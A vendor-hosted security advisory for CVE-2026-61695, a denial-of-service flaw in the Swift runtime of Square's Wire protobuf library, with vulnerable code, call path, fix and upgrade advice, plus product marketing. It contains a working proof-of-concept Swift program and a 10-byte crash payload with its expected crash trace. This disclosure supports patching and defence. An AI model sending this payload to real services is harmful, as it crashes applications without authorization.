CVE-2026-61695

CVE-2026-61695 is a high-severity security vulnerability in github.com/square/wire (swift), affecting versions <= 6.4.0. It is fixed in 6.4.1.

Does this CVE actually affect you?

Kodem shows which CVEs are reachable and running in your applications, so you fix what's exploitable, not just what's listed.

Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.

Runtime intelligence, not another scanner.

Summary

Wire Swift runtime: negative LENGTH_DELIMITED length in skipGroup() crashes any protobuf-decoding service

Wire's Swift runtime (Wire SPM/CocoaPods product, implemented by
wire-runtime-swift) did not reject a negative LENGTH_DELIMITED field length
while skipping an unknown protobuf group. A crafted 10-byte protobuf payload
could cause ProtoReader.skipGroup() to read a length-delimited field whose
varint decodes to a negative Int32. That negative value was then passed to
ReadBuffer.readData(count:).

ReadBuffer checked only that the requested read did not go past the end of
the buffer. It did not reject negative counts. As a result, a negative count
could pass the bounds check and reach Foundation's Data(bytes:count:), which
traps and aborts the process (Signal 5 / SIGTRAP) instead of throwing Wire's
documented ProtoDecoder.Error.

This is the Swift sibling of the Kotlin/JVM negative-length-in-skipGroup()
issue fixed in com.squareup.wire:wire-runtime 6.3.0
(CVE-2026-45799, GHSA-7xpr-hc2w-34m9). That earlier fix added a
length < 0 rejection to the Kotlin readers. The functionally similar Swift
ProtoReader.skipGroup() path was not covered by that fix and remained
vulnerable in released Swift runtime versions through 6.4.0, and in Wire 7
alpha releases through 7.0.0-alpha03.

The issue is fixed for the supported 6.x release line in Wire 6.4.1.

skipGroup() runs for any unknown field with wire type 3 (START_GROUP), so
no schema knowledge is required. A service decoding any message type with
ProtoDecoder.decode(_:from:) over untrusted bytes can be reached by sending an
unknown group field.

Affected Products

Swift Package Manager / CocoaPods Wire

Affected versions:

  • All released Swift runtime versions through 6.4.0.
  • Wire 7 alpha releases through 7.0.0-alpha03.

Patched versions:

  • 6.4.1 for the supported 6.x release line.
  • 7.0.0-alpha04 for the 7.x alpha line (the first 7.x release containing
    PR #3616).

Recommended action:

  • Upgrade to Wire 6.4.1 or later on the supported stable line.
  • If using a Wire 7 alpha release, upgrade to 7.0.0-alpha04 or a later 7.x
    release containing PR #3616.

Vulnerable Code

The vulnerable code was in
wire-runtime-swift/src/main/swift/ProtoCodable/ProtoReader.swift,
skipGroup(expectedEndTag:unknownFieldsWriter:):

case .lengthDelimited:
    let length = try Int32(truncatingIfNeeded: buffer.readVarint()) // can be negative, e.g. -128
    state = .lengthDelimited(length: Int(length))
    let data = try readData()                                       // no length >= 0 check
    try unknownFieldsWriter.encode(tag: tag, value: data)

ProtoReader.readData() then forwarded the stored negative length to the
buffer:

func readData() throws -> Data {
    guard case let .lengthDelimited(length) = state else {
        fatalError("Decoding field as length delimited when key was not LENGTH_DELIMITED")
    }
    state = .tag
    return try buffer.readData(count: length)   // count = -128
}

The bounds check in
wire-runtime-swift/src/main/swift/ProtoCodable/ReadBuffer.swift checked only
the upper bound. A negative count could pass this guard and then be handed to
Foundation:

func verifyAdditional(count: Int) throws {
    guard pointer.advanced(by: count) <= end else {   // pointer + (-128) <= end is true
        throw ProtoDecoder.Error.unexpectedEndOfData
    }
}

func readData(count: Int) throws -> Data {
    try verifyAdditional(count: count)                 // negative count passes the guard
    let data = Data(bytes: pointer, count: count)      // Data(bytes:count:) with count = -128 traps
    pointer = pointer.advanced(by: count)
    return data
}

The normal typed length-delimited decode path is comparatively shielded by
other state transitions. The schema-agnostic unknown-group skip path was the
important path because it threaded an unvalidated signed length into
ReadBuffer.readData(count:).

How Input Reaches the Sink

The reachable decoding path is:

ProtoDecoder.decode(_:from:)
  -> message init(from: ProtoReader)
  -> ProtoReader.nextTag(token:)
  -> ProtoReader.skipGroup(expectedEndTag:unknownFieldsWriter:)
  -> ProtoReader.readData()
  -> ReadBuffer.readData(count:)
  -> Data(bytes:count:)

When ProtoReader.nextTag(token:) sees an unknown field with wire type
START_GROUP, it calls the private skipGroup(...) helper. Inside that
skipped group, an inner LENGTH_DELIMITED field with a negative varint length
reaches readData(), then ReadBuffer.readData(count:), then
Data(bytes:count:).

The outer field number is arbitrary. The proof of concept uses field 99, but
the field does not need to exist in the target schema because unknown-field
skipping is schema-agnostic.

Proof Of Concept

The following proof of concept demonstrates the vulnerable behavior. It uses an
empty ProtoDecodable message that treats every field as unknown, so an
unknown START_GROUP field drives ProtoReader.nextTag(token:) into the
private skipGroup() implementation.

Package.swift:

// swift-tools-version:5.9
import PackageDescription

let package = Package(
    name: "poc",
    platforms: [.macOS(.v12)],
    dependencies: [
        .package(url: "https://github.com/square/wire.git", exact: "6.4.0")
    ],
    targets: [
        .executableTarget(
            name: "poc",
            dependencies: [.product(name: "Wire", package: "wire")],
            path: "Sources/poc"
        )
    ]
)

Sources/poc/main.swift:

import Foundation
import Wire

func log(_ s: String) {
    FileHandle.standardError.write((s + "\n").data(using: .utf8)!)
}

// A ProtoDecodable message that treats every field as unknown. An unknown
// START_GROUP field drives ProtoReader.nextTag() into the private skipGroup().
struct EmptyMessage: ProtoDecodable {
    static var protoSyntax: ProtoSyntax? { .proto2 }
    init() {}
    init(from reader: ProtoReader) throws {
        let token = try reader.beginMessage()
        while let _ = try reader.nextTag(token: token) {}
        let _: UnknownFields = try reader.endMessage(token: token)
    }
}

// hex 9b06 0a 80ffffff0f 9c06
//   0x9B 0x06                 field 99, wire type 3 (START_GROUP)
//   0x0A                      field 1, wire type 2 (LENGTH_DELIMITED) inside group
//   0x80 0xFF 0xFF 0xFF 0x0F  5-byte varint decoding to signed Int32 = -128
//   0x9C 0x06                 field 99, END_GROUP
let attackerPayload = Data([0x9B, 0x06, 0x0A, 0x80, 0xFF, 0xFF, 0xFF, 0x0F, 0x9C, 0x06])

// Negative control: same group, inner length-delimited field has valid length 0.
let benignPayload = Data([0x9B, 0x06, 0x0A, 0x00, 0x9C, 0x06])

let decoder = ProtoDecoder()

log("=== NEGATIVE CONTROL (valid length 0) ===")
do {
    _ = try decoder.decode(EmptyMessage.self, from: benignPayload)
    log("negative-control: decoded OK, no crash (expected)")
} catch {
    log("negative-control: threw \(type(of: error)): \(error)")
}

log("=== ATTACK (negative length -128 inside skipped group) ===")
do {
    _ = try decoder.decode(EmptyMessage.self, from: attackerPayload)
    log("attack: decoded OK (not vulnerable / patched)")
} catch let e as ProtoDecoder.Error {
    log("attack: threw documented ProtoDecoder.Error: \(e) (not vulnerable / patched)")
} catch {
    log("attack: threw unexpected \(type(of: error)): \(error)")
}
log("=== reached end of main (no crash) ===")

Build and run:

swift build
SWIFT_BACKTRACE=enable=yes ./.build/debug/poc

Expected behavior on vulnerable versions through 6.4.0:

=== NEGATIVE CONTROL (valid length 0) ===
negative-control: decoded OK, no crash (expected)
=== ATTACK (negative length -128 inside skipped group) ===

*** Signal 5: Backtracing from 0x191b9d68c... done ***

*** Program crashed: System trap at 0x0000000191b9d68c ***

Thread 0 crashed:

  0               specialized Data.InlineData.init(_:) in Foundation
  1 [ra]          specialized Data.init(bytes:count:) in Foundation
  2 [ra]          ReadBuffer.readData(count:) at ReadBuffer.swift
  3 [ra]          ProtoReader.readData() at ProtoReader.swift
  4 [ra]          ProtoReader.skipGroup(expectedEndTag:unknownFieldsWriter:) at ProtoReader.swift
  5 [ra]          closure #1 in ProtoReader.nextTag(token:) at ProtoReader.swift
  6 [ra]          ProtoReader.nextTag(token:) at ProtoReader.swift
  7 [ra] [thunk]  EmptyMessage.init(from:) at main.swift
  8 [ra]          ProtoReader.decode<A>(_:) at ProtoReader.swift
  9 [ra]          ProtoDecoder.decode<A>(_:from:) at ProtoDecoder.swift
 10 [ra]          main at main.swift

The negative control, which uses the same skipped group structure but with a
valid length of 0, decodes successfully. That demonstrates the crash is caused
by the negative length, not by group-skipping itself.

The attack payload crashes with SIGTRAP inside Data.init(bytes:count:),
reached from the unguarded skipGroup() -> readData() ->
ReadBuffer.readData(count:) path. This runtime trap escapes Wire's documented
ProtoDecoder.Error boundary.

Payload:

9b060a80ffffff0f9c06

Payload breakdown:

0x9B 0x06                 field 99, wire type 3 (START_GROUP)
0x0A                      field 1, wire type 2 (LENGTH_DELIMITED) inside group
0x80 0xFF 0xFF 0xFF 0x0F  5-byte varint = -128 as signed Int32
0x9C 0x06                 field 99, END_GROUP

Patched Behavior

With the fix, the same payload is rejected with a catchable
ProtoDecoder.Error instead of aborting the process. Applications can handle
the malformed payload using normal Swift error handling around
ProtoDecoder.decode(_:from:).

Workarounds

There is no complete application-level workaround if untrusted protobuf bytes
must be decoded with a vulnerable Wire Swift runtime version. Services can
reduce exposure by avoiding protobuf decoding on untrusted inputs, validating
or filtering payloads before decoding, or rejecting protobuf group wire types
at an outer protocol boundary where that is feasible. These mitigations are
not substitutes for upgrading because the vulnerable path is schema-agnostic
unknown-field skipping inside the runtime decoder.

Recommended Upgrade

Upgrade to Wire 6.4.1 or later.

Swift Package Manager users should update their dependency to a patched tag:

.package(url: "https://github.com/square/wire.git", from: "6.4.1")

CocoaPods users should update the Wire pod to 6.4.1 or later.

Wire 7 alpha users should upgrade to 7.0.0-alpha04 or a later 7.x release
that contains PR #3616.

Relationship To GHSA-7xpr-hc2w-34m9 / CVE-2026-45799

This advisory covers the Swift runtime sibling of
GHSA-7xpr-hc2w-34m9 / CVE-2026-45799.

GHSA-7xpr-hc2w-34m9 fixed the Kotlin/JVM readers in Wire 6.3.0, but the
Swift runtime had a similar group-skipping path that still accepted negative
lengths. This advisory is tracked separately because it affects the Swift
runtime package and was fixed by a separate Swift runtime PR.

Credits

Reported by tonghuaroot.

Impact

Denial of service.

A single 10-byte attacker-controlled protobuf payload can abort the process
with an unrecoverable runtime trap. Callers following Wire's documented Swift
API generally expect ProtoDecoder.decode(_:from:) to throw catchable decoding
errors such as ProtoDecoder.Error. They cannot catch a SIGTRAP from
Foundation's Data(bytes:count:).

Any Swift process that decodes untrusted protobuf data with Wire's Swift
runtime may be affected. Examples include iOS, macOS, or server-side Swift
applications that accept protobuf request bodies, websocket frames, stored
messages, queue payloads, files, or any other attacker-controlled serialized
protobuf bytes.

The vulnerability requires:

  • The application decodes untrusted protobuf bytes with Wire's Swift runtime.
  • The attacker can provide a protobuf payload containing an unknown
    START_GROUP field.
  • That group contains a LENGTH_DELIMITED field whose encoded length decodes
    to a negative signed 32-bit value.

The attacker does not need:

  • Authentication.
  • User interaction.
  • Knowledge of the target message schema.
  • A valid known field number in the target schema.

CVE-2026-61695 has a CVSS score of 7.5 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (6.4.1); upgrading removes the vulnerable code path.

Affected versions

github.com/square/wire (<= 6.4.0)

Security releases

github.com/square/wire → 6.4.1 (swift)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

Already deployed Kodem?

See it in your environmentNew to Kodem? Get a demo →

Remediation advice

The fix rejects negative lengths before setting the length-delimited reader
state and before calling readData().

Fixed logic in
wire-runtime-swift/src/main/swift/ProtoCodable/ProtoReader.swift:

case .lengthDelimited:
    let length = try Int32(truncatingIfNeeded: buffer.readVarint())
    guard length >= 0 else {
        throw ProtoDecoder.Error.unexpectedEndOfData
    }
    state = .lengthDelimited(length: Int(length))
    let data = try readData()
    try unknownFieldsWriter.encode(tag: tag, value: data)

The fix also adds defense in depth in
wire-runtime-swift/src/main/swift/ProtoCodable/ReadBuffer.swift by rejecting
negative read counts before pointer arithmetic and before constructing
Data(bytes:count:).

The fix was merged in PR #3616:

https://github.com/square/wire/pull/3616

Fix commit:

https://github.com/square/wire/commit/81ff7f24a6795d9a8be2e03f272b2d979a5d2c7e

Frequently Asked Questions

  1. What is CVE-2026-61695? CVE-2026-61695 is a high-severity security vulnerability in github.com/square/wire (swift), affecting versions <= 6.4.0. It is fixed in 6.4.1.
  2. How severe is CVE-2026-61695? CVE-2026-61695 has a CVSS score of 7.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of github.com/square/wire are affected by CVE-2026-61695? github.com/square/wire (swift) versions <= 6.4.0 is affected.
  4. Is there a fix for CVE-2026-61695? Yes. CVE-2026-61695 is fixed in 6.4.1. Upgrade to this version or later.
  5. Is CVE-2026-61695 exploitable, and should I be worried? Whether CVE-2026-61695 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether CVE-2026-61695 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix CVE-2026-61695? Upgrade github.com/square/wire to 6.4.1 or later.

Stop the waste.
Protect your environment with Kodem.